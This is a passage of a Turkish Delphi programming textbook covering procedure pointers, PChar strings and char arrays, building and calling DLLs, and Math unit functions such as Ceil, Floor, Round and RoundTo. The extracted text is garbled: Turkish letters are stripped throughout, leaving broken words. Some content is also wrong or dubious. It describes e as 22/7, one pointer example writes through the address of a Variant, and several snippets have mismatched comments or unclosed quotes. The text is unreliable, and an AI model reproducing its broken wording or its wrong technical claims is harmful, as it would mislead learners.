areti Prosedr likilendirilmesi: Yukardaki blmde fonksiyonla pointer deikeni ilikilendirebildiyseniz, ayn ilemi prosedr - pointer deiken arasnda da yaptrabilirsiniz. Aada bu husus rneklendirilmitir. lk olarak fonksiyonunuzu tanmlamalsnz. procedure mesaj(str:AnsiString); begin ShowMessage(str); end; kinci admda bu prosedr ile ayn parametreleri ieren (ismi yazlmadan) kullanc tanml tipinizi tanmlamalsnz. type ilet=procedure(str:AnsiString); //tip tanmlanyor nc admda da pointer deiken ile prosedrnz ilikilendireceiniz yordama gerekli kodlar eklemelisiniz. procedure TForm3.Button3Click(Sender: TObject); var ver:^ilet; //tipi gsteren pointer tanmlanyor metin:AnsiString; mes:Variant; begin metin:=Edit1.Text; ver:=@mes; ver^:=mesaj;//iletecei prosedr belirliyor ver^(metin); //prosedr iletiliyor end; Kontrolnze ait yordamda (OnClick) ilk yapmanz gereken ilem, yaratm olduunuz kullanc tanml tipten yeni bir pointer deiken yaratmak olmaldr. Arkasndan bu deikeninize iletecei prosedr referans gstererek, bu prosedre ait kod satrlarnn iletilmesini salamalsnz. Ara ilemler iin kullanlan Variant tipli deiken (mes), ilk etapta gerekli olan adres iin

240

oluturulmutur. Bu deikeni tanmlamazsanz programnz hata mesajyla sizleri uyarp almas krlacaktr.

areti Class likisi: Bir pointer herhangi bir class tan da tretilebilmektedir. Bu durumda tretildii class a ait tm zellik ve methodlar kullanabilmektedir. Aada bu husus rneklendirilmitir.

241

Katarlar: Delphide bir deikenin PChar tipli deiken olarak tanmlanmas, o deikenin katar ilemlerinde kullanlmasn salar. Pchar tipli deikenlerin alma mant AnsiString tip deikene gre olduka farkldr. Bu yzden ayn mantkla ilem yapmaya kalkmaynz. Katar Bildiriminin Yaplmas: Yukarda da bahsettiimiz gibi bir deikenin Pchar tipte tanmlanmas, katar ilemleri iin yeterli olacaktr. var katar:PChar; //Katar deiken tanmlanyor. Katar bildirimi yaplan deikene aadaki ekilde kolayca atama yaplabilir. var katar:PChar; //Katar deiken tanmlanyor. begin katar:='Sibal Yanar'; //katara deer atanyor. Grld gibi katar deikenlere yaplan atama ilemleri, ansistring tip deikenlere yaplan atama ekliyle ayndr. Katar tipte bir deikenin deerini yazdrmak iin aadaki yntemi kullanabilirsiniz. var katar:PChar; //Katar deiken tanmlanyor. begin katar:='Sibal Yanar'; //katara deer atanyor. Label1.Caption:=katar; //katar deiken deerini yazdr. end; Aadaki ekilde yapacanz bir atama programn krlmasna yol aacaktr. var katar:PChar; begin katar:=Edit1.text; //katar deikene bu tr atama yaplamaz

242

ayet katar tipte (char tipli pointer) bir deikene AnsiString tip veri ieren kontroln veya deikenin deerini atamak istiyorsanz, aadaki yntemi kullanmalsnz. procedure TForm1.Button13Click(Sender: TObject); var katar:PChar; begin katar:=PChar(Edit1.text);//Doru bir atama Label1.Caption:=katar; end; Pchar methodu kullanlarak, kontroln ierii karakter tipli veriye evrildikten sonra atama ilemi yaplabilir. Katar deikenlerinin aslnda Char tipte birer pointer olduklar sanyorum dikkatinizden kamamtr. Bu yzden katar ierisindeki her karaktere teker teker ulamanz mmkndr. Aadaki rnekleri ok dikkatlice inceleyiniz. procedure TForm1.Button14Click(Sender: TObject); Const katar:PChar='Nihat Demirli'; begin Label1.caption:=katar; //Nihat Demirli yazar. end; Kodlamay aadaki ekilde deitiriniz. procedure TForm1.Button15Click(Sender: TObject); Const katar:PChar='Nihat Demirli'; begin Label1.caption:=katar^; //Sadece N yazar end; Katar deikenler referans ettikleri yerin ilk gzne odaklanrlar (ilk gzde de hep ilk karakter olacandan). Bu yzden yazdrma ilemini sana ^ karakteri koyarak yaptrrsanz, sadece ilk karakteri yazdrabilirsiniz. lem ekli programclara ok zel olanaklar salamaktadr (rneklerde greceksiniz). Mesela katar deikeninin deerinin bir artrlmas, metindeki ikinci gzn

243

gsterilmesini, katarn tamamnz yazdrlmas ile de ikinci karakterden sonrasnn gsterilmesini salayabilirsiniz. Karakterler Arasnda Gezinmek: Katar deikenler ierisinde bulunan tm metne adres deerini deitirerek kolayca eriebilirsiniz. Aadaki rnekleri ok dikkatlice inceleyiniz. procedure TForm1.Button16Click(Sender: TObject); Const katar:PChar='Nihat Demirli'; begin inc(katar); //adresi bir artr Label1.caption:=katar; // ihat Demirli yazar end; Kodu aadaki ekilde deitirecek olursanz; bu durumda da metinde yer alan ikinci karakteri yazdrabilirsiniz. procedure TForm1.Button16Click(Sender: TObject); Const katar:PChar='Nihat Demirli'; begin inc(katar); //adresi bir artr Label1.caption:=katar^; //Sadece i yazar end; Grld gibi katar deikeninin inc() fonksiyonuyla kullanlmas adres deerinin bir artrlmasna sebebiyet vermektedir. Bu konumda tm katar yazdrmaya kalkarsanz, ikinci karakterden sonraki tm metni, bulunduu gzdeki deeri yazdrmak isterseniz (katar^) ikinci karakteri yazdrabilirsiniz. procedure TForm1.Button16Click(Sender: TObject); Const katar:PChar='Nihat Demirli'; begin inc(katar,3); //adresi artr Label1.caption:=katar^; //Sadece a yazar end; Eer burada tm katar yazdrrsanz. Sonu aadaki gibi olacaktr. 244

procedure TForm1.Button17Click(Sender: TObject); Const katar:PChar='Nihat Demirli'; begin inc(katar,2); //adresi iki artr Label1.caption:=katar; //Sadece "hat Demirli" yazar end; imdi konuyu pekitirmek amal, aadaki rnei inceleyelim. rneimizde katar deiken tanmlanm olup, karakterler aras gei yaparak formun balnda kayan yaz oluturulmaktadr. Var katar:PChar='Nihat Demirli'; procedure TForm1.Timer2Timer(Sender: TObject); begin inc(katar); //bir sonraki karakteri gster Form1.Caption:=katar;//sonraki gz deerlerini yaz end; Bu ekilde balkta kayan yaz oluturabilirsiniz. Fakat bir sre sonra yaznn ekrandan kaybolduunu greceksiniz. Buna da kontrol koymak isterseniz, kodunuzu aadaki gibi deitirmelisiniz.

245

Katarlar Char Tipli Dizi Deiken Olarak Tanmlamak: Katarlar char tipli dizi deiken eklinde de tanmlayabilirsiniz. Aada bu husus rneklendirilmitir. Const kat:Array[0..13] of Char='Nihat Demirli'; //doru bir atama Yukardaki tanmlamadan sonra 14 elemandan oluan kat isminde char tipli dizi deiken tanmlanmtr. Yaplan atama sonucunda da dizinin her eleman srasyla metindeki bir karakteri ieriine almtr. procedure TForm1.Button18Click(Sender: TObject); Const kat:Array[0..13] of Char='Nihat Demirli'; begin label1.Caption:=kat[4];// "t" yazar end; Katar dizi deikene aadaki ekilde atama yapabilirsiniz. procedure TForm1.Button19Click(Sender: TObject); var kat:Array[0..5] of Char; begin kat:='Nihat';//Doru bir atamadr hata vermez. end; Aadaki ekilde yapacanz bir atamann yanl olduunu belirtmek isterim. var kat:Array[0..5] of Char; begin kat:=Pchar(Edit1.Text);

//Hatal bir atamadr

ayet katar dizi deikene AnsiString tipte bir deikenin deerini aktarmak isterseniz, o zaman kodunuz aadaki ekilde olmaldr. Char tipli bir dizi deikene StrCopy fonksiyonu kullanlarak AnsiString bir deer atanabilir. Aada bu husus rneklendirilmitir.

246

procedure TForm1.Button20Click(Sender: TObject); var kat:Array[0..5] of Char; begin strCopy(kat,Pchar(Edit1.Text)); Label1.Caption:=kat[2]; // Edit kutusundaki nc karakteri yaz end; veya procedure TForm1.Button21Click(Sender: TObject); var deger:AnsiString; kat:Array[0..10] of char; begin deger:='Prestige'; StrCopy(kat,Pchar(deger));//katar dizi eleman deerlerini belirle Label1.Caption:=kat[3];// drdnc karakter olan "s" yazar end; Hatrlatalm; katar dizi deikenine aktardnz deikenin ieriindeki karakter says dizi deikenin eleman saysndan fazla olursa, Delphi sizleri hata mesajyla uyaracak, programnz krlacaktr. Bir ounuz, peki katarlar dinamik dizilerle nasl kullanlabilir diye sorabilirsiniz. Ama buna gerek olmadn, ilk ksmda yaplan ilemin atanan deere gre dinamik bir boyutlandrma olduunu dikkatli ve bilinli olanlarnzn anlayacan umuyorum. Bu mantkla aadaki ekilde yaplabilecek olan bir atama kesinlikle hatal olacaktr. procedure TForm1.Button22Click(Sender: TObject); var kat:Array of Char; adet:Integer; begin adet:=Length(Edit1.Text); //Editte ka karakter var SetLength(kat,adet); //katar diziyi boyutlandr. StrCopy(kat,Pchar(Edit1.Text)); end; //Bu atama hata verecektir.

247

248

BLM 11 DLL DOSYALARI OLUTURMAK

249

250

DLL Ne e Yarar: Dll dosyalar Windows un ktphane ilemleri iin kulland dosyalardr. Dll dosyalarnn yeri, programclkta son derece nem arz etmektedir. Sebebine gelince, ayn kodlar farkl farkl yerlere yazmak programnzn gereksiz yere imesine, ayrca karmaaya yol aacaktr. Bu tip durumlar engellemek iin bavurduumuz en temel yol Dll dosyalar oluturmaktan gemektedir. Dll dosyalarn exe uzantl dosyalardan ayran temel fark exe lerin kendi balarna altrlabilmelerine karn, Dll dosyalarnn muhakkak dardan bir ateleyiciye ihtiya duymalardr. Dll dosyalar fonksiyon, prosedr, zellik vs.lerin topluca yazld blm olarak da adlandrlabilir. Windows iletim sistemine ait Dll dosyalar C++ dili ile yazlmtr. Tm uygulamalar, bu Dll dosyalarndan faydalanabilmektedir. Siz de en ok kullandnz fonksiyon veya prosedr tanmlamalarn Dll dosyalar ierisinde oluturursanz, ilerisi iin ok byk kolaylk olaca aikardr. Dll dosyas oluturmak iin aadaki admlar izleyiniz. File->New->Other admlarn izledikten sonra, Delphi seeneklerinin bulunduu New Items penceresine ulaabilirsiniz. uygulama

Bu pencerede DLL Wizard seeneini seerek OK buttonuna tklarsanz, Dll dosyanz oluturabileceiniz aadaki pencerenin almasn salayabilirsiniz. 251

Alan pencere Library Project2 ismiyle oluacaktr.

Dll dosyanz kaydettiinizde dpr-cfg-dof-dpr-res uzantsna sahip 5 adet (daha fazla da olabilirdi) dosya oluturacaktr.

Kaydettikten sonra Project->Compile All Project admlarn izleyerek Dll dosyanz Compile ederseniz, dll uzantl ismi projenizin ismiyle ayn olan bir Dll dosyas daha oluturacaktr (Dll dosyanz yapacanz deiikliklerden sonra muhakkak Compile ediniz). Uygulamanzn kullanaca fonksiyon veya prosedrlere bu dosya sayesinde ulamak, onlar kullanmak mmkn olacaktr. Dll dosyalar ierisinde programdan parametre gnderilebilecek olan prosedr veya fonksiyonlar export bildirisi yaplarak tanmlanrlar. Bu bildiriyi eklemezseniz, programdan bu Dll dosyasn aramazsnz. 252

Son adm olarak dardan arlacak methodlarn tamamn Exports listesi halinde Dll dosyasnn altna eklemelisiniz. Dll erisinde Prosedr Oluturmak: Oluturacanz Dll dosyalarnn sonularn ancak Standart Delphi projesinden altrarak grebilirsiniz. Aadaki prosedr Dll dosyanz ierisinde oluturup, yeni bir Exe uygulamas balatn.

Dll erisindeki Prosedre Programdan Ulamak: Exe uygulamanzda Dll dosyasnda export ile tanmlanm olan methodlar kullanabilmeniz iin, pencerenize dahil etmelisiniz. procedure mesaj(x:AnsiString);far;external 'project2.dll';//ekleyin procedure TForm1.Button1Click(Sender: TObject); var //Deiken blou begin //Gerekli olan kodlar; mesaj(metin); //prosedr iletiliyor. end; 253

Aada Dll dosyas ierisindeki prosedr iletebilmek iin kullanlacak olan tm kod satrlar verilmitir. Dikkat edeceiniz deiik olan tek ey prosedr bildirisinin projeye ekleni ekli olmaldr. far;External dll_adi bildirisi burada olduka nem arz etmektedir.

Dll ierisindeki prosedr iletmek Unit ierisinde tanmlanm olan prosedr iletmekten hi de farkl deildir, izleyeceiniz admlar tamamen ayn olacaktr. Dll erisinde Fonksiyon Oluturmak: Dll dosyalarnda prosedr tanmlamalar gibi benzer mantkla fonksiyon tanmlamalar da yaplabilmektedir. Ayn Dll dosyas ierisinde aadaki admlar izleyerek fonksiyon tanmlayabilirsiniz. function faktor(x:Integer):Extended;export;//Programdan ar var //Lokal deikenler begin //letilecek olan kodlar Result:=geriye dnecek olan deer end; Yine ayn ekilde programdan arlabilecek olan fonksiyonlar, muhakkak export bildirisiyle Dll dosyasna bildirilmelidir. Dier hususlar tamamen normal bir fonksiyon tanmlama ilemiyle ayn olacaktr. Fonksiyonu ekledikten sonra Project->Compile All Project admlarn izleyerek uygulamanz son deiiklikleriyle Compile etmelisiniz. 254

Aadaki pencerede, Dll dosyasna prosedr ve fonksiyon eklenmi son hal gsterilmitir.

Dll erisindeki Fonksiyona Programdan Erimek: Dll dosyas ierisindeki fonksiyonu programdan arabilmek iin ayn ekilde Unit blounda tanmlamasn yapmalsnz. function faktor(x:Integer):Extended;far;external 'project2.dll' //Dll dosyas ierisindeki fonksiyon tanmland Bu admdan sonra herhangi bir yordamdan fonksiyonunuzu arabilirsiniz. Aada programa ekleyeceiniz tm kod satrlar verilmitir.

255

Bu arada, daha nce deinmi olsamda hatrlatmak istediim iki husus var. Bunlardan birincisi; uygulamanzla Dll dosyanzn ayn klasrn ierisinde olmas gerektiidir. kincisi ise Dll dosyanz, her deiiklik yaptnz zaman muhakkak Project->Compile All Project admlarn izleyerek Compile ediniz. Bu ksmda daha fazla hounuza gidecek bir uygulama yapmak istiyorum. Amacmz Windows ta bulunan Start->Run seeneklerini yaptrabilecek bir Dll dosyas oluturmaktr. Daha sonra bu Dll dosyasn kullanarak, Edit kutusuna gireceimiz yoldaki exe uygulamasn altrmay salamak olacaktr. Aadaki form tasarmn oluturun.

Ardndan File->New->Other->Dll uygulamanz balatn. 256

Wizrd

admlarn

izleyerek

Dll

Aadaki kod satrlarn Dll uygulama pencerenize ekleyiniz.

imdi de uygulamanza ekleyeceiniz aadaki kodlar sayesinde, Edit kutusuna yazdnz adresteki exe programn kolaylkla altrabileceksiniz.

Program altrdktan sonra Edit kutusuna altracanz dosyann yolunu yazp, button kontrolne tklaynz.

257

Button kontrolne tklandktan sonra Edit kutusunda c:\winnt\system32\notepad.exe uygulamas altrlmaktadr.

yer

alan

258

BLM 12 DELPHI FONKSYONLARI

259

260

Fonksiyonlara Giri: Delphi ierisinde, kolay uygulama gelitirme amal kullanabileceiniz bir ok method ve zellik bulunmaktadr. Bu methodlar sizleri yazmanz gereken bir ok skc koddan kurtarmaya ynelik olarak eklenmitir. imdi Delphi ktphanesinde yer olan bu fonksiyonlar teker teker incelemeye balayalm. Matematiksel Fonksiyonlar: Aritmetik ilem yapabilmek iin ktphaneye eklenmi fonksiyonlardr. Matematiksel fonksiyonlar kullanrken ondalkl saylarn, tam saylar kapsad (dijit kayb olmad iin) unutulmamaldr. Bu fonksiyonlar altrabilmeniz iin math ktphanesini uses satrna eklemeniz gerekmektedir. uses Windows, Messages, SysUtils, Variants,Classes,Graphics, Controls, Forms,Dialogs, StdCtrls, math; //Eklemeyi unutmaynz. Abs(ondalkl_say):
Tanmlama: function Abs(X);

Parametre olarak girilen (parantez ierisindeki deer parametre olarak adlandrlmaktadr) reel saynn pozitif deerini hesaplamak iin kullanlr. Parametre pozitif ise saynn deerini deitirmeyecektir. Eer negatif ise o zaman pozitif deerini geriye dndrecektir. procedure TForm1.Button1Click(Sender: TObject); var sayi:Real; sonuc:Real; begin sayi:=StrToFloat(Edit1.Text); sonuc:=abs(sayi); //pozitife evir Form1.Caption:=FloatToStr(sonuc); end; Fonksiyona gnderilen parametre tam say veya reel say tipli olabilir. Ayn mantkla geriye dndrd saynn tipi de yine tam say veya ondalkl say olabilecektir. 261

Ceil(ondalkl_say):
Tanmlama: function Ceil(const X: Extended):Integer;

Parametre olarak girilen ondalkl sayy bir st tam sayya yuvarlatarak geriye dndrr. Dnen saynn tipi tam say olduu iin IntToStr tip dntrme fonksiyonu sayesinde kolayca yazdrlabilir. procedure TForm1.Button2Click(Sender: TObject); var sayi:Real; sonuc:Integer; begin sayi:=125.2; sonuc:=Ceil(sayi); //Ondalkl sayy ste yuvarla Form1.Caption:=IntToStr(sonuc);// 126 yazar end; Aadaki ekilde de kullanlabilir. procedure TForm1.Button3Click(Sender: TObject); var sayi:Real; sonuc:Integer; begin sayi:=StrToFloat(Edit1.Text); sonuc:=Ceil(sayi); //Editeki deeri bir st tam sayya yuvarla Form1.Caption:=IntToStr(sonuc); end; Ceil fonksiyonu, sayda yer alan ondalkl ksma bakmadan bir st tam sayya yuvarlamak iin kullanlr. Floor(ondalkl_say);
Tanmlama: function Floor(const X: Extended): Integer;

Bu fonksiyon Ceil fonksiyonunun yapt ilevin tam tersini yapar. Yani parametre olarak girilen ondalkl sayy, virglden sonraki ksmn byklne bakmadan bir alt tam sayya yuvarlayacaktr. Saynn negatif veya pozitif olmas nem arz etmez. Her zaman bir alt tam sayya yuvarlama yapacaktr (-2.8 i -3 olarak dndrecektir). 262

procedure TForm1.Button4Click(Sender: TObject); var sayi:Real; sonuc:Integer; begin sayi:=125.9; sonuc:=Floor(sayi); //Bir alt tam sayya indir. Form1.Caption:=IntToStr(sonuc);// 125 yazar end; Negatif tamsaylara rnek yapacak olursak: procedure TForm1.Button4Click(Sender: TObject); var sayi:Real; sonuc:Integer; begin sayi:=-125.1; sonuc:=Floor(sayi); Form1.Caption:=IntToStr(sonuc);// -126 yazar end; Floor fonksiyonu, sayda yer alan ondalkl ksma bakmadan bir alt tam sayya yuvarlamak iin kullanlr. Trunc(ondalkl_say);
Tanmlama: function Trunc(X: Extended): Int64;

Parametre olarak girilen ondalkl saynn tam ksmn dndren matematiksel bir fonksiyondur. procedure TForm1.Button5Click(Sender: TObject); var sayi:Real; sonuc:Integer; begin sayi:=125.9; sonuc:=Trunc(sayi); //sadece tam ksmn gster Form1.Caption:=IntToStr(sonuc);// 125 yazar end;

263

Trunc fonksiyonunda herhangi bir yuvarlatma sz konusu deildir. Negatif saylar iinde kolaylkla kullanlabilir (-125,9 u -125 olarak hesaplar). Geriye dnen deerin tipinin tam say olduunu fonksiyon tanmlamasndan kolayca karabilirsiniz. Frac(Ondalkl_say):
Tanmlama: function Frac(X: Extended): Extended;

Parametre olarak girilen deerin ondalkl ksmn hasaplayan bir fonksiyondur. Tanmlamaya dikkat edecek olursanz, geriye dnen deerin tipinin ondalkl bir say (Extended) olduunu grrsnz. procedure TForm1.Button6Click(Sender: TObject); var sayi:Real; sonuc:Extended; begin sayi:=125.756; //isterseniz bir kontrolden deer aktarabilirsiniz. sonuc:=Frac(sayi); //ondalkl ksm al Form1.Caption:=FloatToStr(sonuc);// 0.756 yazar end; Fonksiyondan geriye dnen deer ondalkl bir say tipi olduu iin FloatToStr fonksiyonu ile kolayca deerini yazdrabilirsiniz. Exp(ondalkl_say):
Tanmlama: function Exp(X: Real): Real;

Parametre olarak girilen sayy e (22/7) nin ss olarak kabul eder ve kuvvetini alr (ayet 2 girilirse e saysnn karesi alnr). procedure TForm1.Button7Click(Sender: TObject); var sayi:Integer; sonuc:Extended; begin sayi:=2; sonuc:=Exp(sayi); //e nin karesini bul Form1.Caption:=FloatToStr(sonuc);// 7.389 yazar end; 264

Int(Ondalkl_say):
Tanmlama: function Int(X: Extended): Extended;

Parametre olarak girilen deerin tam ksmn reel say olarak dndren bir fonksiyondur. Sonucu herhangi bir kontrolde yazdrmak iin FloatToStr tip dntrme fonksiyonunu kullanmalsnz. IntToStr tip dntrme fonksiyonu hata verecektir. procedure TForm1.Button8Click(Sender: TObject); var sayi:Real; sonuc:Real; begin sayi:=-120.85; //deeri kontroldende aldrabilirsiniz sonuc:=Int(sayi); //tam ksmn al Form1.Caption:=FloatToStr(sonuc); //-120 yazar end; Tekrar hatrlatmakta yarar gryorum, bu fonksiyondan geriye dnen saynn tipi ondalkl say tipidir. Bu yzden yazdrmak iin FloatToStr fonksiyonundan faydalanmalsnz. IntPower(ondalkl_say,tam_say):
Tanmlama: function IntPower(const Base: Extended; const Exponent: Integer): Extended register;

Birinci parametre olarak girilen ondalkl saynn, ikinci parametreyle girilen kuvvetini hesaplamak iin kullanlr. kinci parametre olarak sadece tam say deeri girebilirsiniz. procedure TForm1.Button9Click(Sender: TObject); var sayi:Real; sonuc:Extended; begin sayi:=5.2; sonuc:=IntPower(sayi,2); //e nin karesini bul Form1.Caption:=FloatToStr(sonuc);// 27.04 yazar end;

265

IntPower fonksiyonundan geriye dnen saynn tipi ondalkl olmaktadr. Bu yzden kontrol zerinde yazdrabilmek iin FloatToStr fonksiyonundan faydalanmalsnz. Ln(ondalkl_say):
Tanmlama: function Ln(X: Real): Real;

Parametre olarak girilen ondalkl (ondalkl saylar tam saylar kapsarlar, unutmayn) saynn e tabannda logaritmasn almak iin kullanlr. Fonksiyondan geriye yine bir ondalkl say dner. procedure TForm1.Button10Click(Sender: TObject); var sayi:Real; sonuc:Real; begin sayi:=10; sonuc:=Ln(sayi); // logesayi demektir Form1.Caption:=FloatToStr(sonuc); //2.302 yazar end; Fonksiyondan geriye dnen deer ondalkl say tipli olduu iin FloatToStr fonksiyonu kullanlarak yazdrlabilir. Log10(ondalkl_say):
Tanmlama: function Log10(const X: Extended): Extended;

Parametre olarak girilen deikenin 10 tabanna gre logaritmasn almak iin kullanlr. procedure TForm1.Button11Click(Sender: TObject); var sayi:Real; sonuc:Real; begin sayi:=100; sonuc:=Log10(sayi); Form1.Caption:=FloatToStr(sonuc); //2 yazar end;

266

Fonksiyondan geriye dnen deer ondalkl say tipinde olduu iin FlostToStr fonksiyonu sayesinde yazdrlabilir. Log2(ondalkl_say):
Tanmlama: function Log2(const X: Extended): Extended;

Parametre olarak girilen deerin 2 tabannda logaritmasn hesaplayan bir fonksiyondur. procedure TForm1.Button12Click(Sender: TObject); var sayi:Real; sonuc:Real; begin sayi:=8; sonuc:=Log2(sayi); // Log28 Form1.Caption:=FloatToStr(sonuc); //3 yazar end; Fonksiyondan geriye dnen deer, ondalkl say tipinde olduu iin sonu FloatToStr tip dntrme fonksiyonu kullanlarak yazdrlabilir. LogN(Ondalkl_say,ondalkl_say2):
Tanmlama: function LogN(const Base, X: Extended): Extended;

Birinci parametreyle verilen tabana gre, ikinci parametreyle verilen deikenin logaritmasn hesaplar. procedure TForm1.Button13Click(Sender: TObject); var sayi:Real; sonuc:Real; begin sayi:=9; sonuc:=LogN(3,sayi); //Log39 Form1.Caption:=FloatToStr(sonuc); //2 yazar end; Fonksiyondan geriye dnen deer, ondalkl say tipinde olduu iin FloatToStr tip dntrme fonksiyonu sayesinde yazdrlabilir. 267

Max(ondalkl_say,ondalkl_say2):
function function function function function Max(A,B: Max(A,B: Max(A,B: Max(A,B: Max(A,B: Integer): Integer; overload; Int64): Int64; overload; Single): Single; overload; Double): Double; overload; Extended): Extended; overload;

Tanmlama:

Parametre olarak girilen ondalkl (veya tam say) saylarn en byn hesaplayan bir fonksiyondur. Dikkat edeceiniz husus fonksiyonun sadece iki parametre alddr. Yani elinizdeki saynn en byn bu fonksiyonla hesaplatamazsnz (dolayl olarak olabilir). procedure TForm1.Button14Click(Sender: TObject); var ilk,son:Integer; sonuc:Integer; begin ilk:=25; son:=5; sonuc:=Max(ilk,son); //Byk olann bul Form1.Caption:=IntToStr(sonuc); //25 yazar end; Parametre olarak ondalkl sayda kullanabilirsiniz. Min(ondalkl_say,ondalkl_say2):
function function function function function Min(A,B: Integer): Integer; overload; Min (A,B: Int64): Int64; overload; Min (A,B: Single): Single; overload; Min (A,B: Double): Double; overload; Min (A,B: Extended): Extended; overload;

Tanmlama:

Parametre olarak girilen ondalkl (veya tam say) saylarn en kn hesaplayan bir fonksiyondur. Dikkat edeceiniz husus fonksiyonun sadece iki parametre alddr. Yani elinizdeki saynn en kn bu fonksiyonla hesaplatamazsnz (dolayl olarak olabilir). procedure TForm1.Button14Click(Sender: TObject); var ilk,son:Integer; sonuc:Integer; begin ilk:=25; 268

son:=5; sonuc:=Min(ilk,son); //Kk olann bul Form1.Caption:=IntToStr(sonuc); //5 yazar end; Parametre olarak ondalkl sayda kullanabilirsiniz. Muldiv(Tam_say,Tam_say2,Tam_say3):
Tanmlama: function MulDiv(Number, Numerator, Denominator: Integer): Integer;

lk iki parametreyle verilen tamsaylar arpp, nc parametreye blen matematiksel bir fonksiyondur. Fonksiyondan geriye dnen deerin tipi tam say olduu iin, sonu ondalkl olarak karsa aa veya yukar tam sayya yuvarlama ilemi yapacaktr. procedure TForm1.Button16Click(Sender: TObject); var sayi,adet,bol,sonuc:Integer; begin sayi:=10; adet:=2; bol:=3; sonuc:=MulDiv(sayi,adet,bol); // 10*2/3 Form1.Caption:=IntToStr(sonuc); //7 yazar end; Fonksiyondan geriye dnen deer tamsay tipli olduu iin, tip dntrme ilemini IntToStr fonksiyonuyla gerekletirebilirsiniz. Pi:
Tanmlama: function Pi: Extended;

Matematikte kullanlan pi saysnn deerini ierisinde tutabilen bir fonksiyondur. 3.1415926535897932385 saysna eit olan bu fonksiyon sayesinde, daireye ait alan ve evre hesaplamalarn kolaylkla yaptrabilirsiniz. Fonksiyon ondalkl bir say barndrd iin FloatToStr fonksiyonu kullanlarak tip dnm ilemleri uygulanmaldr. Aada pi fonksiyonuna ait rneklendirme yaplmtr.

269

procedure TForm1.Button17Click(Sender: TObject); var yaricap:Integer; cevre,alan:Double; begin yaricap:=10; cevre:=2*pi*yaricap; // ecre=2*pi*r alan:=pi*yaricap*yaricap; ShowMessage('Daire Alan=' + FloatToStr(alan) + #13#10 + 'Dairenin evresi='+FloatToStr(cevre));// #13#10 alt satra inmek iin kullanld end;

Program altrp button kontrolne tklarsanz aadaki pencere ile karlarsnz. Pencerede dairenin alan ile evresi hesaplanarak bildirilmektedir.

Poly(ondalkl_say,dizi_deiken):
Tanmlama: function Poly(const X: Extended; const Coefficients: array of Double): Extended;

Programnzda polinom fonksiyon sonularn hesaplamak iin kullanlr. Birinci parametre polinom fonksiyondaki deikenin deeri, ikinci parametre ise polinom fonksiyonda kullanlacak olan katsaylarn deerlerini tutacak olan dizi deikenden ibarettir. procedure TForm1.Button18Click(Sender: TObject); var katsayilar:Array of Double; derece,i:Integer;sonuc:Extended; deger:Integer; begin deger:=StrToInt(InputBox('Hangi Deer in','Deer','')); derece:=StrToInt(InputBox('Poinom Kanc Dereceden', 'Derece','')); SetLength(katsayilar,derece+1); //Boyutla for i:=low(katsayilar) to high(katsayilar) do katsayilar[i]:=StrToInt(InputBox(IntToStr(i)+ '.ci Katsayy Giriniz','Katsay,)) sonuc:=Poly(deger,katsayilar);//Polinomu hesapla Form1.Caption:='Polinomun Sonucu=' + FloatToStr(sonuc); end; 270

Fonksiyonu kullanrken dizi deikeninizi ondalkl say tanmlamaya dikkat ediniz. Program altrdktan sonra polinomda kullanlan (y=ax2+bx) x deikeninin deerini girmeniz istenecektir. Ardndan polinom fonksiyonunuzun kanc dereceden olduunu ve katsaylarn srasyla (olmayan bir katsay iin 0 girmelisiniz) girmenizi isteyecektir. Fonksiyondan geriye dnen deer ondalkl say olaca iin sonucu FloatToStr fonksiyonu ile yazdrabilirsiniz. Power(ondalkl_say,ondalkl_say2):
Tanmlama: function Power(const Base, Exponent: Extended): Extended;

s almak iin Delphide kullanlan fonksiyondur. Birinci parametreyle verilen ondalkl saynn, ikinci parametreyle verilen kuvvetini hesaplar. procedure TForm1.Button19Click(Sender: TObject); var taban,us:Double; sonuc:Extended; begin taban:=4; us:=3; sonuc:=Power(taban,us); //s al Form1.Caption:=FloatToStr(sonuc); //4*4*4=64 yazar. end; Taban ve s deerleri ondalkl sayda olabilir (yani 2.4 n 5.2 .ci kuvvetini de hesaplayabilir). Fonksiyondan geriye dnen deer ondalkl say olduu iin sonucu yazdrmak iin FloatToStr fonksiyonunu kullanmalsnz. Round(ondalkl_say):
Tanmlama: function Round(X: Extended): Int64;

Parametre ile girilen reel sayy ondalkl ksmdaki deere gre, bir st veya bir alt tam sayya yuvarlamak iin kullanlan bir fonksiyondur. Ondalkl ksmdaki ilk rakam 5 veya daha bykse ste, daha kkse de alta yuvarlayacaktr. Fonksiyondan geriye dnen deer tam say tipli olaca iin, kontrol ierisinde yazdrmak iin IntToStr fonksiyonunu kullanmanz yeterli olacaktr. Aada Round() fonksiyonu kullanlarak rnek gelitirilmitir. Dikkatlice incelemeye devam ediniz.

271

procedure TForm1.Button20Click(Sender: TObject); var deger:Extended; sonuc:Extended; begin deger:=10.465; sonuc:=Round(deger); //alta veya ste yuvarla Form1.Caption:=FloatToStr(sonuc); //10yazar end; Round fonksiyonu kriter olarak ondalkl ksmdaki ilk rakam kullanmaktadr. ayet 5 ten bykse st tam sayya yuvarlama ilemi yapacaktr. RoundTo(ondalkl_say,tam_say):
Tanmlama: function RoundTo(const AValue: Double; const ADigit: TRoundToRange): Double;

RoundTo fonksiyonunun bir ka kullanm mant vardr, aadaki rnekleri dikkatlice inceleyiniz. Eer ikinci parametre Negatif Say se: Bu durumda ondalkl ksmdan gsterilecek olan rakam says belirlenebilir. Ondalkl ksmdan gsterilecek olan en son rakamdan bir sonraki rakama gre bye veya ke yuvarlatma yine yaplacaktr. procedure TForm1.Button21Click(Sender: TObject); var deger:Extended; sonuc:Extended; begin deger:=1001.465; sonuc:=RoundTo(deger,-2); //ondalkl ksmdan 2 rakam Form1.Caption:=FloatToStr(sonuc); //1001.47 yazar end; Eer ikinci parametre Pozitif Say se: Bu durumda tam ksmn en sonundan balayarak, ikinci parametreyle belirtilen deer kadar 0 eklenir. Sonuta yine ste veya alta yuvarlatma ilemi uygulanacaktr. 272

procedure TForm1.Button22Click(Sender: TObject); var deger:Extended; sonuc:Extended; begin deger:=1591.465; sonuc:=RoundTo(deger,3); //ondalkl ksmdan 2 rakam Form1.Caption:=FloatToStr(sonuc); //2000 yazar end; Baka bir rnek: procedure TForm1.Button22Click(Sender: TObject); var deger:Extended; sonuc:Extended; begin deger:=1491.465; sonuc:=RoundTo(deger,3); //ondalkl ksmdan 2 rakam Form1.Caption:=FloatToStr(sonuc); //1000 yazar end; stteki rnekte sadan rakam 0 yapnz, ayn zamanda en son 0 yaplan rakam 5 den bykse bir ste, kkse bir alta yuvarla denilmek istenmektedir. Biraz deiik gelebilir, ama yeterince rnek zerseniz mantna alacaksnz sanrm. Sign(ondalkl_say):
